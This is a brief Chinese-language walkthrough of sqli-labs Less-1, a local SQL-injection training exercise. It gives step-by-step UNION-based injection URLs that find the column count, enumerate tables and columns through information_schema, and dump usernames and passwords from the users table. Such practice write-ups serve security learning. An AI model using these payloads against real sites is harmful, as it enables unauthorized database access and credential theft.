sqli-lab less-1

尝试 http://127.0.0.1:88/Less-1/?id=1a
正常显示，判断为字符型注入

尝试union注入 http://127.0.0.1:88/Less-1/?id=1' union select 1 ,1,1%23 成功
![image]

查询表名 http://127.0.0.1:88/Less-1/?id=-1' union select 1 ,1,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

查询users中的列名 http://127.0.0.1:88/Less-1/?id=-1' union select 1 ,1,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%23

union注入查询账密
http://127.0.0.1:88/Less-1/?id=-1' union select 1 ,1,group_concat(username,0x3a,password)%20from%20users%20%23